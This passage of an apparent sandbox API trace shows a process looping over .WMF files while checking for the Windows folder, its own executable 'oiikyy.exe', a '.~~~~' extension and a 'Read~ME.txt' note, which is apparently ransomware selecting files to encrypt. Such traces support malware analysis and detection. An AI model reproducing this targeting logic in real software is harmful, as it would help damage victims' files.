	[0083.563] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f69200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1f69200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00296_.WMF", cAlternateFileName="")) returned 1
	[0083.563] lstrcmpiW (lpString1="FD00296_.WMF", lpString2="Windows") returned -1
	[0083.563] lstrcmpW (lpString1="FD00296_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.563] StrStrW (lpFirst="FD00296_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.563] lstrcmpW (lpString1="FD00296_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.563] GetCurrentThreadId () returned 0x618
	[0083.563] RtlWakeConditionVariable () returned 0x365f48
	[0083.564] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b40e00, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54b40e00, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00297_.WMF", cAlternateFileName="")) returned 1
	[0083.564] lstrcmpiW (lpString1="FD00297_.WMF", lpString2="Windows") returned -1
	[0083.564] lstrcmpW (lpString1="FD00297_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.564] StrStrW (lpFirst="FD00297_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.564] lstrcmpW (lpString1="FD00297_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.564] GetCurrentThreadId () returned 0x618
	[0083.564] RtlWakeConditionVariable () returned 0x365f48
	[0083.564] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c56500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c56500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00306_.WMF", cAlternateFileName="")) returned 1
	[0083.564] lstrcmpiW (lpString1="FD00306_.WMF", lpString2="Windows") returned -1
	[0083.564] lstrcmpW (lpString1="FD00306_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.564] StrStrW (lpFirst="FD00306_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.564] lstrcmpW (lpString1="FD00306_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.564] GetCurrentThreadId () returned 0x618
	[0083.564] RtlWakeConditionVariable () returned 0x365f48
	[0083.564] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c8c800, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2c8c800, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00336_.WMF", cAlternateFileName="")) returned 1
	[0083.564] lstrcmpiW (lpString1="FD00336_.WMF", lpString2="Windows") returned -1
	[0083.564] lstrcmpW (lpString1="FD00336_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.564] StrStrW (lpFirst="FD00336_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.564] lstrcmpW (lpString1="FD00336_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.566] GetCurrentThreadId () returned 0x618
	[0083.566] RtlWakeConditionVariable () returned 0x365f48
	[0083.566] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf943800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf943800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00361_.WMF", cAlternateFileName="")) returned 1
	[0083.566] lstrcmpiW (lpString1="FD00361_.WMF", lpString2="Windows") returned -1
	[0083.566] lstrcmpW (lpString1="FD00361_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.566] StrStrW (lpFirst="FD00361_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.566] lstrcmpW (lpString1="FD00361_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.566] GetCurrentThreadId () returned 0x618
	[0083.566] RtlWakeConditionVariable () returned 0x365f48
	[0083.566] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6bcf00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb6bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00369_.WMF", cAlternateFileName="")) returned 1
	[0083.566] lstrcmpiW (lpString1="FD00369_.WMF", lpString2="Windows") returned -1
	[0083.566] lstrcmpW (lpString1="FD00369_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.566] StrStrW (lpFirst="FD00369_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.566] lstrcmpW (lpString1="FD00369_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.566] GetCurrentThreadId () returned 0x618
	[0083.566] RtlWakeConditionVariable () returned 0x365f48
	[0083.567] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdfcc00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcdfcc00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00382_.WMF", cAlternateFileName="")) returned 1
	[0083.567] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="Windows") returned -1
	[0083.567] lstrcmpW (lpString1="FD00382_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.567] StrStrW (lpFirst="FD00382_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.567] lstrcmpW (lpString1="FD00382_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.567] GetCurrentThreadId () returned 0x618
	[0083.567] RtlWakeConditionVariable () returned 0x365f48
	[0083.567] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae630b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae630b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00397_.WMF", cAlternateFileName="")) returned 1
	[0083.567] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="Windows") returned -1
	[0083.567] lstrcmpW (lpString1="FD00397_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.567] StrStrW (lpFirst="FD00397_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.567] lstrcmpW (lpString1="FD00397_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.567] GetCurrentThreadId () returned 0x618
	[0083.567] RtlWakeConditionVariable () returned 0x365f48
	[0083.567] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad31de00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad31de00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00403_.WMF", cAlternateFileName="")) returned 1
	[0083.657] lstrcmpiW (lpString1="FD00403_.WMF", lpString2="Windows") returned -1
	[0083.657] lstrcmpW (lpString1="FD00403_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.657] StrStrW (lpFirst="FD00403_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.657] lstrcmpW (lpString1="FD00403_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.657] GetCurrentThreadId () returned 0x618
	[0083.657] RtlWakeConditionVariable () returned 0x365f48
	[0083.657] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac00b100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac00b100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00414_.WMF", cAlternateFileName="")) returned 1
	[0083.657] lstrcmpiW (lpString1="FD00414_.WMF", lpString2="Windows") returned -1
	[0083.657] lstrcmpW (lpString1="FD00414_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.657] StrStrW (lpFirst="FD00414_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.657] lstrcmpW (lpString1="FD00414_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.657] GetCurrentThreadId () returned 0x618
	[0083.657] RtlWakeConditionVariable () returned 0x365f48
	[0083.657] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaacf8400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaacf8400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x400c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00419_.WMF", cAlternateFileName="")) returned 1
	[0083.658] lstrcmpiW (lpString1="FD00419_.WMF", lpString2="Windows") returned -1
	[0083.658] lstrcmpW (lpString1="FD00419_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.658] StrStrW (lpFirst="FD00419_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.658] lstrcmpW (lpString1="FD00419_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.658] GetCurrentThreadId () returned 0x618
	[0083.658] RtlWakeConditionVariable () returned 0x365f48
	[0083.658] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86d2a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa86d2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00428_.WMF", cAlternateFileName="")) returned 1
	[0083.658] lstrcmpiW (lpString1="FD00428_.WMF", lpString2="Windows") returned -1
	[0083.658] lstrcmpW (lpString1="FD00428_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.658] StrStrW (lpFirst="FD00428_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.658] lstrcmpW (lpString1="FD00428_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.658] GetCurrentThreadId () returned 0x618
	[0083.658] RtlWakeConditionVariable () returned 0x365f48
	[0083.658] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73bfd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa73bfd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00435_.WMF", cAlternateFileName="")) returned 1
	[0083.658] lstrcmpiW (lpString1="FD00435_.WMF", lpString2="Windows") returned -1
	[0083.658] lstrcmpW (lpString1="FD00435_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.658] StrStrW (lpFirst="FD00435_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.658] lstrcmpW (lpString1="FD00435_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.658] GetCurrentThreadId () returned 0x618
	[0083.658] RtlWakeConditionVariable () returned 0x365f48
	[0083.659] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60ad000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa60ad000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x13ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00438_.WMF", cAlternateFileName="")) returned 1
	[0083.659] lstrcmpiW (lpString1="FD00438_.WMF", lpString2="Windows") returned -1
	[0083.659] lstrcmpW (lpString1="FD00438_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.659] StrStrW (lpFirst="FD00438_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.659] lstrcmpW (lpString1="FD00438_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.659] GetCurrentThreadId () returned 0x618
	[0083.659] RtlWakeConditionVariable () returned 0x365f48
	[0083.659] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4d9a300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4d9a300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00455_.WMF", cAlternateFileName="")) returned 1
	[0083.659] lstrcmpiW (lpString1="FD00455_.WMF", lpString2="Windows") returned -1
	[0083.659] lstrcmpW (lpString1="FD00455_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.659] StrStrW (lpFirst="FD00455_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.659] lstrcmpW (lpString1="FD00455_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.659] GetCurrentThreadId () returned 0x618
	[0083.659] RtlWakeConditionVariable () returned 0x365f48
	[0083.659] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3a87600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3a87600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x43fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00459_.WMF", cAlternateFileName="")) returned 1
	[0083.659] lstrcmpiW (lpString1="FD00459_.WMF", lpString2="Windows") returned -1
	[0083.659] lstrcmpW (lpString1="FD00459_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.659] StrStrW (lpFirst="FD00459_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.659] lstrcmpW (lpString1="FD00459_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.659] GetCurrentThreadId () returned 0x618
	[0083.659] RtlWakeConditionVariable () returned 0x365f48
	[0083.659] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2774900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2774900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00543_.WMF", cAlternateFileName="")) returned 1
	[0083.660] lstrcmpiW (lpString1="FD00543_.WMF", lpString2="Windows") returned -1
	[0083.660] lstrcmpW (lpString1="FD00543_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.660] StrStrW (lpFirst="FD00543_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.660] lstrcmpW (lpString1="FD00543_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.660] GetCurrentThreadId () returned 0x618
	[0083.660] RtlWakeConditionVariable () returned 0x365f48
	[0083.660] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf50d3100, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf50d3100, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1
	[0083.660] lstrcmpiW (lpString1="FD00544_.WMF", lpString2="Windows") returned -1
	[0083.660] lstrcmpW (lpString1="FD00544_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.660] StrStrW (lpFirst="FD00544_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.660] lstrcmpW (lpString1="FD00544_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.660] GetCurrentThreadId () returned 0x618
	[0083.660] RtlWakeConditionVariable () returned 0x365f48
	[0083.660] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb4f600, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb4f600, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00564_.WMF", cAlternateFileName="")) returned 1
	[0083.660] lstrcmpiW (lpString1="FD00564_.WMF", lpString2="Windows") returned -1
	[0083.660] lstrcmpW (lpString1="FD00564_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.660] StrStrW (lpFirst="FD00564_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.660] lstrcmpW (lpString1="FD00564_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.660] GetCurrentThreadId () returned 0x618
	[0083.660] RtlWakeConditionVariable () returned 0x365f48
	[0083.661] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4dd7200, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4dd7200, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00586_.WMF", cAlternateFileName="")) returned 1
	[0083.661] lstrcmpiW (lpString1="FD00586_.WMF", lpString2="Windows") returned -1
	[0083.661] lstrcmpW (lpString1="FD00586_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.661] StrStrW (lpFirst="FD00586_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.661] lstrcmpW (lpString1="FD00586_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.661] GetCurrentThreadId () returned 0x618
	[0083.661] RtlWakeConditionVariable () returned 0x365f48
	[0083.661] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbef0a100, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbef0a100, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00775_.WMF", cAlternateFileName="")) returned 1
	[0083.661] lstrcmpiW (lpString1="FD00775_.WMF", lpString2="Windows") returned -1
	[0083.661] lstrcmpW (lpString1="FD00775_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.661] StrStrW (lpFirst="FD00775_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.661] lstrcmpW (lpString1="FD00775_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.661] GetCurrentThreadId () returned 0x618
	[0083.661] RtlWakeConditionVariable () returned 0x365f48
	[0083.661] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2364900, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2364900, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x2332, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00779_.WMF", cAlternateFileName="")) returned 1
	[0083.661] lstrcmpiW (lpString1="FD00779_.WMF", lpString2="Windows") returned -1
	[0083.661] lstrcmpW (lpString1="FD00779_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.661] StrStrW (lpFirst="FD00779_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.661] lstrcmpW (lpString1="FD00779_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.661] GetCurrentThreadId () returned 0x618
	[0083.661] RtlWakeConditionVariable () returned 0x365f48
	[0083.661] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4adb300, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4adb300, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x3690, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00799_.WMF", cAlternateFileName="")) returned 1
	[0083.662] lstrcmpiW (lpString1="FD00799_.WMF", lpString2="Windows") returned -1
	[0083.662] lstrcmpW (lpString1="FD00799_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.662] StrStrW (lpFirst="FD00799_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.662] lstrcmpW (lpString1="FD00799_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.662] GetCurrentThreadId () returned 0x618
	[0083.662] RtlWakeConditionVariable () returned 0x365f48
	[0083.662] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad86a500, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad86a500, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xa6d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00814_.WMF", cAlternateFileName="")) returned 1
	[0083.662] lstrcmpiW (lpString1="FD00814_.WMF", lpString2="Windows") returned -1
	[0083.662] lstrcmpW (lpString1="FD00814_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.662] StrStrW (lpFirst="FD00814_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.662] lstrcmpW (lpString1="FD00814_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.662] GetCurrentThreadId () returned 0x618
	[0083.662] RtlWakeConditionVariable () returned 0x365f48
